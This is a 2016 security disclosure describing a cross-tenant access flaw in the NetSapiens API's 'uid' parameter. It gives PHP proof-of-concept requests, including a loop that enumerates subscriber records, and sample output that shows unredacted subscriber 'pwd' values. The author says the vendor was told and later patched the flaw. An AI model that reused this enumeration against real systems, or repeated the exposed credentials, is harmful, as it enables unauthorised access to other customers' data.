API Validation Issue In NetSapiens.

Truvis Thornton  
[truvis@voipwrx.com](mailto:truvis@voipwrx.com) – [truvis@calltelepath.com](mailto:truvis@calltelepath.com)  
August 18, 2016

Discovery Date: 8/18/2016

Date Reported: 8/18/2016

This is in regards to the NetSapiens API answerrule and subscriber sets in the API. The API contains a variable option called UID. I believe this is meant to pull based on a true unique ID, however, in this case, it looks like it allowed for EXTENSION@DOMAIN use. If you remove the @DOMAIN, the API would still run and not check if you owned that domain not and allow you to see and access information outside of your domain.

I am unware of the current version that this effects or the version that this was discovered on as I do not have access or control to version information or server.

The confusing and hard part in researching this was there are many variations of the NetSapiens API documentation floating around and each one appears to have a different style. My research was done by using the official API Documentation on the NetSapiens website.

This discovery happened when I was attempting to create a mobile application that would allow for quick switching of answering rules. The sample code is as follows:

public function getTest($domain, $user){

$data['object'] = 'anserrule';

$data['action'] = 'read';

//$data['domain'] = $domain;

//$data['user'] = $user;

$data[‘uid’] = “801";

$data['format'] = 'json';

if($response = $this->request($data)){

$obj = json\_decode($response,true);

echo "<pre>";

print\_r($obj);

echo "</pre>";

}

}

The following would print out very long lists like:

Array

(

[0] => Array

(

[dir] =>

[user] => 823

[domain] => REDACTED.20301.service

[message] =>

[vmail\_provisioned] => yes

[screen] => yes

[no\_answer\_timeout] => 20

[first\_name] => Night1

[last\_name] => Auto Attendant

[group] =>

[subscriber\_login] => 823@ REDACTED

[pwd] => 13846512

[language] => en\_US

[data\_limit] => 0

[call\_limit] => 0

[time\_zone] => US/Eastern

[dir\_anc] => no

[directory\_order] => 1

[vmail\_greeting] =>

[vmail\_enabled] => yes

[rej\_anony] => no

[vmail\_annc\_time] => yes

[vmail\_annc\_cid] =>

[vmail\_sort\_lifo] => no

[vmail\_notify] =>

[email] =>

[ntfy\_missed\_call] => no

[ntfy\_data\_limit] => no

[dial\_plan] => REDACTED.20301.service

[dial\_policy] => Permit All

[callid\_nmbr] => REDACTED

[callid\_name] => REDACTED

[callid\_emgr] => REDACTED

[area\_code] => 212

[presence] => inactive

[dir\_list] => no

[date\_created] => 2016-02-17 16:08:20

[srv\_code] => system-aa

[scope] => Basic User

[last\_update] => 2016-03-16 08:18:53

[gauSession] => 0

[pwd\_hash] =>

[vmail\_transcribe] => no

)

)

Array

(

[0] => Array

(

[domain] => REDACTED

[user] => 221

[time\_frame] => \*

[priority] => 0

[enable] =>

[sim\_control] => e

[sim\_parameters] => 221 12-0090F8015221

[fna\_control] => e

[fna\_parameters] => to\_308

)

[1] => Array

(

[domain] => REDACTED.15621.service

[user] => 221

[time\_frame] => 24x7

[priority] => 0

[enable] => yes

[dnd\_control] => d

[scr\_control] => d

[for\_control] => d

[for\_parameters] =>

[fnr\_control] => d

[fnr\_parameters] =>

[fbu\_control] => d

[fbu\_parameters] =>

[fna\_control] => d

[fna\_parameters] =>

[sim\_control] => e

[sim\_parameters] => 221 221

[time\_range\_data] => Array

(

[0] => Array

(

[owner\_domain] => REDACTED.20217.service

[owner] => \*

[time\_frame] => 24x7

[order] => 0

[date\_from] => now

[date\_to] => never

[days] => \*

[tod\_from] => 00:00

[tod\_to] => 23:59

[invert] => no

)

[1] => Array

(

[owner\_domain] => REDACTED.20217.service

[owner] => \*

[time\_frame] => 24x7

[order] => 0

[date\_from] => now

[date\_to] => never

[days] => \*

[tod\_from] => 00:00

[tod\_to] => 23:59

[invert] => no

)

[2] => Array

(

[owner\_domain] => REDACTED.20217.service

[owner] => \*

[time\_frame] => 24x7

[order] => 0

[date\_from] => now

[date\_to] => never

[days] => \*

[tod\_from] => 00:00

[tod\_to] => 23:59

[invert] => no

)

It was quickly noted that I did have access to many of these users or domains. Depending on what I changed the UID number would affect what I would pull. I could achieve listing well over 1000.

Using the UID as [xxx@xxx.xxx.xxx](mailto:xxx@xxx.xxx.xxx) would correctly pull what I needed but I changed to without the @xxx.xx.xx and that was how I initially discovered the bug.

After noticing that UID was used in more than one location, I decided to try it in other locations like subscriber. This is where it became interesting.

At first I thought UID was just that, the unique ID per subscriber. After running the following code, it was noted that I was wrong in that regard.

public function gget2(){

for( $i="0"; $i<50000; $i++ ) {

$data['object'] = ‘subscriber’;

$data['action'] = 'read';

//$data['domain'] = REDACTED.20217.service';

$data['uid'] = '200';

$data['format'] = 'json';

if($response = $this->request($data)){

$obj = json\_decode($response,true);

echo "<pre>";

print\_r($obj);

echo "</pre>";

}

sleep(5); // because I care

}

}

The following code would show:

Array

(

[0] => Array

(

[dir] =>

[user] => 824

[domain] => REDACTED.20301.service

[message] =>

[vmail\_provisioned] => yes

[screen] => yes

[no\_answer\_timeout] => 20

[first\_name] => REDACTED

[last\_name] => Auto Attendant

[group] =>

[subscriber\_login] => 824@ REDACTED

[pwd] => 47271075

[language] => en\_US

[data\_limit] => 0

[call\_limit] => 0

[time\_zone] => US/Eastern

[dir\_anc] => no

[directory\_order] => 1

[vmail\_greeting] =>

[vmail\_enabled] => yes

[rej\_anony] => no

[vmail\_annc\_time] => yes

[vmail\_annc\_cid] =>

[vmail\_sort\_lifo] => no

[vmail\_notify] =>

[email] =>

[ntfy\_missed\_call] => no

[ntfy\_data\_limit] => no

[dial\_plan] => REDACTED.20301.service

[dial\_policy] => US and Canada

[callid\_nmbr] => REDACTED

[callid\_name] => REDACTED

[callid\_emgr] => 0000000000

[area\_code] => 212

[presence] => inactive

[dir\_list] => no

[date\_created] => 2016-02-08 14:15:11

[srv\_code] => system-aa

[scope] => Basic User

[last\_update] => 2016-02-12 07:30:59

[gauSession] => 0

[pwd\_hash] =>

[vmail\_transcribe] => no

)

)

However, after playing around I started noticing that I was not pulling information like I had been in answerrule where the number was all of that extension number.

Example: someone had a test domain running as aaaaTEXTHERE. The API returned 100@aaaaTEXTHERE because this was the first 100 in the list. It did not pull ALL of the 100 extensions.

After trying to see if there was a way to exploit this further to see if you could pull every 100 extension in the system, it was determined this was not at all possible. You could not by the looks of it use the domain or user option in correlation with the UID to fine tune and pull subscriber information outside of your domain. It would appear only that the UID API option is failing at validation but at the same time you are limited to what you can pull as you have no way to fine tune a search (that I know of yet).

Looked into combining the answerrule with the subscriber reading but could not find a way to leverage the two together to extract more information.

Attempted to do cross domain updating using update instead of read. However, this was stopped short since the server I am on did not seem to support UID in the same way the official API documentation made it out to be. Tried to use the UID option to write and make changes to domain where we had ownership of but saw no results. More than likely this was not a true UID for that subscriber.

I have also not had the chance to test to see if a lower level API user could have this same access, but I am led to believe that if the permission access allows access to answerrule or subscriber they should be able to access it.

NOTE: I can’t find the link to NetSapiens change log where they did patch the issues a few months after I brought this to their attention.